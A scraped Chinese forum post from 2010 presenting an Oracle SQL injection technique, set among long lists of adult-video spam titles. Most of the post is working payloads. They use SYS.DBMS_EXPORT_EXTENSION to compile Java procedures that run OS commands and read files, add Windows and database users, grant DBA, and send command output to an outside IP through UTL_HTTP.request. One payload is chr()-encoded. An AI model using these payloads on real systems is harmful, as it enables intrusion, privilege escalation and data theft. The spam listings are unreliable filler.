国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看

Rss & SiteMap

曙海教育集團(tuán)論壇 http://www.bjzhda.cn

曙海教育集團(tuán)論壇
共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]
[瀏覽完整版]

標(biāo)題:犀利的 oracle 注入技術(shù)

1樓
wangxinxin 發(fā)表于:2010-12-11 11:04:20
介紹一個(gè)在web上通過(guò)oracle注入直接取得主機(jī)cmdshell的方法。

以下的演示都是在web上的sql plus執(zhí)行的,在web注入時(shí) 把select SYS.DBMS_EXPORT_EXTENSION.....改成
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
的形式即可。(用" 'a'|| "是為了讓語(yǔ)句返回true值)

語(yǔ)句有點(diǎn)長(zhǎng),可能要用post提交。

以下是各個(gè)步驟:
1.創(chuàng)建包
通過(guò)注入 SYS.DBMS_EXPORT_EXTENSION 函數(shù),在oracle上創(chuàng)建Java包LinxUtil,里面兩個(gè)函數(shù),runCMD用于執(zhí)行系統(tǒng)命令,readFile用于讀取文件:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)

------------------------
如果url有長(zhǎng)度限制,可以把readFile()函數(shù)塊去掉,即:
/xxx.jsp?id=1 and '1'<>'a'||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''  
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual
)
同時(shí)把后面步驟 提到的 對(duì)readFile()的處理語(yǔ)句去掉。
------------------------------
2.賦Java權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual

3.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual

4.賦public執(zhí)行函數(shù)的權(quán)限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual

5.測(cè)試上面的幾步是否成功

and '1'<>'11'||(
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.執(zhí)行命令:

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
)

/xxx.jsp?id=1 and '1'<>(
select  sys.LinxReadFile('c:/boot.ini') from dual
)

注意sys.LinxReadFile()返回的是varchar類(lèi)型,不能用"and 1<>" 代替 "and '1'<>"。
如果要查看運(yùn)行結(jié)果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual

或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)

/xxx.jsp?id=1 and '1'<>(
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
)
注意:用UTL_HTTP.request時(shí),要用 REPLACE() 把空格、換行符給替換掉,否則會(huì)無(wú)法提交http request。用utl_encode.base64_encode也可以。


--------------------
6.內(nèi)部變化
通過(guò)以下命令可以查看all_objects表達(dá)改變:
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
7.刪除我們創(chuàng)建的函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual



====================================================
全文結(jié)束。謹(jǐn)以此文贈(zèng)與我的朋友。
linx
124829445
2008.1.12
edu.cn" target="_blank">linyujian@bjfu.edu.cn


======================================================================
測(cè)試漏洞的另一方法:
創(chuàng)建oracle帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual

即:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual

確定漏洞存在:
1<>(
select user_id from all_users where username='LINXSQL'
)
給linxsql連接權(quán)限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
刪除帳號(hào):
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual

======================
以下方法創(chuàng)建一個(gè)可以執(zhí)行多語(yǔ)句的函數(shù)Linx_query(),執(zhí)行成功的話(huà)返回?cái)?shù)值"1",但權(quán)限是繼承的,可能僅僅是public權(quán)限,作用似乎不大,真的要用到話(huà)可以考慮grant dba to 當(dāng)前的User:

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ...

1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
) and ...
1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
) and ...

1.jsp?id=1 and '1'<>(
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
select 1 from dual
''; commit; end;') from dual
) and ...

多語(yǔ)句:
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual

創(chuàng)建用戶(hù)(除非當(dāng)前用戶(hù)有system權(quán)限,否則無(wú)法成功):
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
''; commit; end;') from dual


================
以下的方法是先建立函數(shù)Linx_Query(),再建立 RunCMD2()
1.創(chuàng)建函數(shù)
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''   
create or replace function Linx_Query (p
varchar2) return number authid current_user is begin execute immediate
p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual;

如果有權(quán)限,以下語(yǔ)句應(yīng)該允許正常
select sys.linx_query('select 1 from dual') from dual;
不然的話(huà)運(yùn)行:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
grant dba to 當(dāng)前的User'''';END;'';END;--','SYS',0,'1',0) from dual


2.創(chuàng)建包
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace and compile java source named "LinxUtil2"   as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) );  String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
3.創(chuàng)建函數(shù)
SELECT sys.Linx_Query('declare pragma
autonomous_transaction; begin execute immediate ''
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
4.給權(quán)限
給用戶(hù)SYSTEM執(zhí)行權(quán)限:
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual

5.執(zhí)行函數(shù)
select RunCMD2('cmd /c dir') from dual
共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]

Copyright © 2000 - 2009 曙海教育集團(tuán)
Powered By 曙海教育集團(tuán) Version 2.2
Processed in .03125 s, 2 queries.
国产剧情视频在线观看-国产剧情麻豆女教师在线观看-国产剧情精品在线观看-国产剧情精品-国产剧情91-国产玖玖在线观看
<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>
    国产成人精品优优av| 国产成人精品av| 国产原创精品| 国产亚洲欧美另类一区二区三区| 亚洲福利av| 自拍偷拍99| 国产日韩欧美视频| 一本色道婷婷久久欧美| 好吊色欧美一区二区三区| 日韩av免费看网站| 天堂va久久久噜噜噜久久va| 国产精品第七十二页| 成人综合av网| 欧美在线一区二区视频| 国内精品二区| 91精品国产91久久久久久最新| 国产精品久久久久久久久久久久久久| 视频在线99re| 国产精品网红福利| 国语自产精品视频在免费| 国产精自产拍久久久久久蜜| 欧美一区激情视频在线观看| 国产精品入口日韩视频大尺度| 蜜桃导航-精品导航| 国产精品福利观看| 亚洲精品欧美精品| 99久久99久久精品国产片| 午夜精品99久久免费| 91麻豆精品秘密入口| 久久全国免费视频| 欧美国产一区二区在线| 91精品视频专区| 韩国福利视频一区| 欧美日韩在线观看一区二区三区| 国产专区精品视频| 欧美亚洲视频在线观看| 欧美国产二区| 99porn视频在线| 日韩av电影中文字幕| 午夜精品一区二区三区在线观看 | 99在线视频播放| 亚洲精品欧洲精品| 国产综合福利在线| 国产精品福利在线观看| 欧美激情精品久久久久久大尺度 | 超碰97网站| 91久久在线观看| 国产精品毛片一区视频| 久久精品日产第一区二区三区乱码 | 日本中文字幕不卡免费| 国产精品毛片a∨一区二区三区|国| 亚洲人成人77777线观看| 神马影院一区二区三区| 亚洲国产一区二区精品视频| 色999五月色| 日韩欧美视频一区二区| 亚洲18私人小影院| 国产精品激情av电影在线观看 | 欧美一区二区三区四区在线| 国内精品久久久久久| 97国产真实伦对白精彩视频8| 欧洲日本亚洲国产区| 成人欧美一区二区三区黑人孕妇| 91中文在线视频| 蜜桃日韩视频| 国自产精品手机在线观看视频| 青草成人免费视频| 91久久爱成人| 手机成人在线| 国产成一区二区| 狠狠久久综合婷婷不卡| 欧美激情精品久久久久久| 国产精品丝袜视频| 欧美日韩一区二区视频在线观看 | 成人自拍网站| 色涩成人影视在线播放| 欧美激情二区三区| 国产ts人妖一区二区三区| 国产免费一区二区三区在线能观看 | 国产原创精品| 99精品在线直播| 国产精品99免视看9| 国产精品嫩草视频| 日本不卡一二三区| 国产精品视频免费在线观看| 麻豆成人av| 日韩美女视频免费在线观看| www.成人av| 久久久久久这里只有精品| 91免费看片在线| 亚洲一区二三| 1卡2卡3卡精品视频| 欧美激情aaaa| 九9re精品视频在线观看re6| 日本成人精品在线| 丝袜足脚交91精品| 亚洲自拍在线观看| 欧美性视频精品| 久久综合狠狠综合久久综青草| 69久久夜色精品国产7777 | 91久久中文字幕| 中文字幕欧美日韩一区二区| 国产精品日韩高清| 国产精品你懂得| 国模gogo一区二区大胆私拍 | 国产成人精品一区二区三区福利 | 国产免费一区视频观看免费| 久久久久久久久久久国产| 51国偷自产一区二区三区 | 国内精品久久影院| 亚洲精品一品区二品区三品区| 亚洲自拍av在线| 久久久久久国产精品美女| 精品无人乱码一区二区三区的优势| 日本成人黄色片| 欧美多人爱爱视频网站| 97视频资源在线观看| 99蜜桃在线观看免费视频网站| av一本久道久久波多野结衣| 激情小说综合区| 日本在线观看不卡| 日产精品高清视频免费| 午夜精品视频在线观看一区二区| 亚洲欧洲精品一区二区三区波多野1战4| 亚洲va欧美va国产综合剧情| 日韩福利视频| 自拍另类欧美| 一区二区成人国产精品| 一级特黄录像免费播放全99| 国产伦精品一区二区三区高清版| 91精品国产91久久久久久吃药| 欧美激情第1页| 欧美高清自拍一区| 5566日本婷婷色中文字幕97| 8090成年在线看片午夜| 2019av中文字幕| 国产成人精品久久二区二区91 | 欧美国产视频一区二区| 中文字幕在线中文字幕日亚韩一区| 日韩中文字幕一区| 欧美激情精品久久久久久蜜臀| 性欧美激情精品| 国产精品video| 国产精品爽黄69天堂a| 国产精品久久久久久久久男 | 日本老师69xxx| 国产精品久久色| 成人xxxxx| 国产精品一 二 三| 欧美日韩一区二区视频在线 | 国产69精品久久久久久| 欧美激情极品视频| 国产美女扒开尿口久久久| 欧美精品欧美精品系列c| 欧美有码在线观看| 国产精品二区二区三区| 亚洲国产成人不卡| 国产精品色视频| 成人欧美视频在线| 欧美不卡三区| 国产不卡av在线免费观看| 国产伦精品一区二区三区照片| 伊人久久婷婷色综合98网| 国产精品久久久久77777| 久久久婷婷一区二区三区不卡| 欧美精品久久久久久久久| 91成人理论电影| 欧美多人乱p欧美4p久久| 亚洲xxx大片| 国语自产精品视频在线看抢先版图片| 91麻豆国产精品| 亚洲五月六月| 国产99午夜精品一区二区三区 | 性欧美激情精品| 国产成人精品亚洲精品| 国产一区二区三区奇米久涩| 国产91精品久久久| 夜夜爽www精品| 国产精品精品国产| 日韩精品第一页| 日日夜夜精品网站| 国产乱肥老妇国产一区二| 91视频8mav| 久久久久久久影院| 成人av免费电影| 91精品国产高清自在线| 国产日本一区二区三区| 国产精品劲爆视频| 久久久久中文字幕2018| 狠狠色综合一区二区| 日本国产一区二区三区| 亚洲欧美99| 成人欧美一区二区三区视频xxx | 青青影院一区二区三区四区| 国产精品一区二区三区成人| 国产精品电影一区| 99电影网电视剧在线观看| 午夜精品区一区二区三| 99九九视频| 国产第一区电影| 日韩欧美在线一区二区| 成人美女免费网站视频| 日本最新一区二区三区视频观看| 国产99在线播放| 91精品久久久久| 97精品国产91久久久久久| 精品伊人久久大线蕉色首页| 国产精品igao视频| 欧美激情奇米色| 精品国产一区二区三| 成人精品视频在线| 亚州精品天堂中文字幕| 亚洲欧洲久久| 国产高清精品一区二区| 国产大片精品免费永久看nba| 97视频在线观看成人| 在线观看日韩羞羞视频| 99久久自偷自偷国产精品不卡| 国产成人高清激情视频在线观看 | 亚洲自拍偷拍色片视频| 国产玖玖精品视频| 国产精品免费观看在线| 日本国产精品视频| 欧美专区国产专区| 欧美激情精品久久久久久免费印度| 日产精品久久久一区二区| 久久成人资源| 99视频日韩| 亚洲999一在线观看www| 欧洲亚洲妇女av| 欧美肥老妇视频| 欧美日韩另类综合| 91在线视频成人| 欧美性受xxx| 蜜桃久久精品乱码一区二区| 国产一区喷水| 亚洲伊人一本大道中文字幕| 国产日产欧美精品| 91精品久久久久久久久久入口| 日韩美女在线观看| 浅井舞香一区二区| 国外成人在线直播| 亚洲一区二区三区四区中文| 日韩欧美视频一区二区三区四区| 岛国视频一区| 肥熟一91porny丨九色丨| 91视频国产一区| 91精品视频播放| 国产精品美腿一区在线看| 国产精品久久久久久久久久免费| 国产精品极品在线| 国产99久久精品一区二区 夜夜躁日日躁 | 2019中文字幕在线观看| 久久国产精品久久| 亚洲伊人久久综合| 精品国产乱码久久久久久久软件| 亚洲综合精品一区二区| 成人国产亚洲精品a区天堂华泰| 国产欧美日韩中文| 91视频国产高清| 国产精品国产三级欧美二区| 6080yy精品一区二区三区| 午夜精品99久久免费| 欧美亚洲第一区| 欧美在线视频免费| 国产精品男女猛烈高潮激情| 91在线视频免费| 91综合免费在线| 成人精品一区二区三区电影免费| 99re国产视频| 日本一区精品| 亚洲国产婷婷香蕉久久久久久99| 欧美污视频久久久| 欧美精品人人做人人爱视频| 欧美高清自拍一区| 国产成人综合久久| 国产福利久久| 亚洲视频精品一区| 色综合天天综合网国产成人网 | 北条麻妃高清一区| 91视频8mav| 欧美国产综合视频| 欧美激情欧美狂野欧美精品 | 国产免费一区二区三区| 国产精品一区在线播放| 欧美日韩精品免费看| 高清在线视频日韩欧美| 日本精品久久久久影院| 国产日韩在线观看av| 国产伦精品一区二区三区高清版| 日韩激情视频| 国模私拍一区二区三区| 国产精品91久久久| 91久久精品国产91久久性色tv| 日韩jizzz| 欧美激情综合色综合啪啪五月| 日本最新高清不卡中文字幕| 999国产在线| 国产伦精品一区二区| 欧美激情在线一区| 国产一区深夜福利| 狠狠色综合色区| 91国产视频在线| 成人免费午夜电影| 免费精品视频一区二区三区| 日韩久久精品一区二区三区| 2019中文在线观看| 国产伦精品一区二区三区照片 | 国产成人精品自拍| 在线视频精品一区| 国产精品爽爽ⅴa在线观看| 久久国产精品-国产精品| 亚洲a中文字幕| 国产精品久久久久av| 国产精品伦子伦免费视频| 国产日韩欧美精品| 色综合五月天导航| 97人人做人人人难人人做| 欧美国产精品人人做人人爱| 国产精品吴梦梦| 日产中文字幕在线精品一区| 国产精品美女在线| 亚洲欧洲久久| 91亚色免费| 夜夜春亚洲嫩草影视日日摸夜夜添夜 | 亚洲精品高清视频| 国产999精品久久久| 欧美亚州在线观看| 国产精品视频导航| 成人黄色在线免费观看| 国内精品视频久久| av成人在线电影| 欧美精品激情blacked18| 国产精品久久久久久久久久东京| 免费99视频| 国产欧美一区二区三区视频| 中文字幕乱码一区二区三区| 国产精品免费视频一区二区| 欧美亚洲国产另类| 日本不卡一区二区三区在线观看| 国产免费观看久久黄| 日本一区美女| 91久久中文字幕| 欧美二区在线播放| 国产一区二区三区四区五区加勒比| 国产91精品高潮白浆喷水| 你懂的视频在线一区二区| 欧美在线一级va免费观看| 日本公妇乱淫免费视频一区三区| 国产成人精品视频在线观看| 制服国产精品| 精品一区二区三区免费毛片| 成人春色激情网| 国内精品久久久久久久久| 欧美色图亚洲自拍| 国产精品久久久久久久小唯西川 | 久久资源亚洲| 国产精品电影观看| 亚洲精品一卡二卡三卡四卡| 成人国产精品免费视频 | 深夜福利成人| 99re资源| 性色av香蕉一区二区| 欧美国产综合视频| 亚洲综合色av| 亚洲欧美日韩在线综合 | 亚洲自拍高清视频网站| 青青a在线精品免费观看| 日本一区二区三区视频在线播放| 91在线观看免费网站| 日本aⅴ大伊香蕉精品视频| 欧美日韩精品免费观看视一区二区| 91免费看蜜桃| 国产69久久精品成人| 欧美二区在线播放| 色涩成人影视在线播放| 26uuu久久噜噜噜噜| 国产a一区二区| 欧美在线亚洲在线| 欧美一进一出视频| 亚洲伊人成综合成人网| 国产欧美韩国高清| 国模视频一区二区| 神马影院一区二区三区| 激情小说综合网| 国产va免费精品高清在线| 欧美激情欧美激情| 日韩免费av一区二区三区| 国产精品久久久久久久久久久久| 欧美亚洲国产视频| 国产69精品久久久久9999| 一区二区视频在线免费| 久久久com| 99视频免费观看| 成人在线小视频| 国产精品久久久久久五月尺| 午夜老司机精品| 国产日韩欧美夫妻视频在线观看| 欧美怡红院视频一区二区三区| 少妇特黄a一区二区三区| 欧美日韩高清在线一区| 精品伦精品一区二区三区视频| 成人在线国产精品| 成人在线观看视频网站| 成人欧美一区二区三区在线湿哒哒| 热久久视久久精品18亚洲精品| 欧美最大成人综合网| 国产成人成网站在线播放青青| 国产高清精品一区二区三区| 99三级在线| 97超碰在线播放| 国产精品色午夜在线观看| 中文字幕在线亚洲三区| 欧美国产乱视频| 亚洲一区二区三区加勒比 | 日本精品二区| 成人自拍偷拍| 国产成人精品日本亚洲11 | 国产不卡一区二区三区在线观看| av蓝导航精品导航| 国产精品香蕉国产| 欧洲成人免费视频| 国产成人激情视频| 17婷婷久久www| 青草青草久热精品视频在线网站| 国产精品99久久久久久www| 国产精品va在线| 欧美性一区二区三区| 日产日韩在线亚洲欧美| 国产精品自在线| 亚洲一区二区三区sesese| 成人av资源在线播放| 99se婷婷在线视频观看| 91欧美激情另类亚洲| 91嫩草视频在线观看| 国产伦精品一区二区| 欧美日韩亚洲一区二区三区在线观看 | 97香蕉久久超级碰碰高清版| 2019中文字幕全在线观看| 日韩av片免费在线观看| 日韩免费精品视频| 91精品久久久久| 91精品国产99久久久久久红楼| 91久久国产综合久久蜜月精品| 成人h视频在线| 成人在线小视频| 91九色在线观看| 成人欧美一区二区| 亚洲在线第一页| 欧美亚洲国产另类| 欧美激情久久久久| 欧美激情视频三区| 91免费在线视频| 91精品视频专区| 夜夜爽99久久国产综合精品女不卡| 精品无人区一区二区三区| 国产精品极品美女在线观看免费| 国产精品视频一区二区高潮| 99久久国产免费免费| 亚洲精品高清视频| 久久综合中文色婷婷| 明星裸体视频一区二区| 成人国产精品色哟哟| 久久精品人成| 国内精品国语自产拍在线观看| 久久久久久国产精品一区 | 久久久久久久999精品视频| 精品久久精品久久| 欧美欧美一区二区| 成人黄色av网| 亚洲一区二区日本| 色在人av网站天堂精品| 91久久国产综合久久蜜月精品| 久久免费国产精品1| 草莓视频一区| 成人在线小视频| 色中色综合影院手机版在线观看| 91色视频在线导航| 国产日韩精品在线播放| 91精品在线观看视频| 国产综合色一区二区三区| 亚洲欧洲精品在线| 国产精品视频地址| 国产aⅴ精品一区二区三区黄| 午夜精品久久久久久99热| 91视频88av| 神马影院午夜我不卡| 国产精品视频区1| 国产精品美女黄网| 欧美精品videos性欧美| 99久久99| 国模吧一区二区| 国产精品yjizz| 性欧美在线看片a免费观看| 国产精品久久精品国产| 欧美中文在线视频| 美脚丝袜一区二区三区在线观看| 55夜色66夜色国产精品视频| 久久久久久亚洲精品不卡4k岛国| 国产精品18久久久久久首页狼 | 日韩男女性生活视频| 国产精品推荐精品| 日韩av电影在线网| 国产精品久久二区| av观看久久| 911国产网站尤物在线观看| 国产欧美一区二区三区不卡高清| 高清欧美性猛交xxxx黑人猛交| 国产精品国产三级国产专区53 | 国产高清自拍99| 91高潮精品免费porn| 久久久久网址| 国产在线精品一区免费香蕉| 亚洲成人av动漫| 91精品免费看| 91精品国产九九九久久久亚洲| 久久99精品久久久久久青青日本| 清纯唯美亚洲激情| 亚洲欧洲一区二区| 成人情视频高清免费观看电影| 欧美在线视频网站| 日韩中文一区| 成人激情视频在线| 97视频在线观看免费| 日本一区二区三区免费观看| 99c视频在线| 91成人免费观看网站| 精品一区久久久久久| 国产不卡在线观看| 自拍偷拍99| 久久精品欧美| 99国产视频在线| 国产精品视频自拍| 国产91精品视频在线观看| 亚洲国产日韩美| 国产精品免费一区二区三区观看| 亚州国产精品久久久| 黄色99视频| 91中文在线视频| 7777免费精品视频| 日韩中文字幕一区| 免费日韩电影在线观看| 国产精品久久视频| 久久久久久久av| 欧美一卡2卡3卡4卡无卡免费观看水多多| 成人乱色短篇合集| 国产精品对白刺激| 热99在线视频| 91精品国产高清| 欧美激情亚洲综合一区| 久久96国产精品久久99软件| 成人黄色在线免费| 欧美怡春院一区二区三区| 欧美大荫蒂xxx| 日韩av高清| 91视频国产精品| 久久久影视精品| 99中文字幕| 国产日韩欧美在线看| 国产精品久久久久7777婷婷| 91成人天堂久久成人| 97人洗澡人人免费公开视频碰碰碰| 欧美国产在线电影| 亚洲看片网站| 好看的日韩精品视频在线| 成人夜晚看av| 国产精品视频成人| 国产精品人成电影在线观看| 国产精品6699| 国产精品扒开腿做爽爽爽男男 | 三区精品视频观看| 欧美激情论坛| 国产精品999| 国产91在线视频| 久久全球大尺度高清视频| 麻豆成人小视频| 国产欧美一区二区三区不卡高清| 国产精品视频免费一区| 91gao视频| 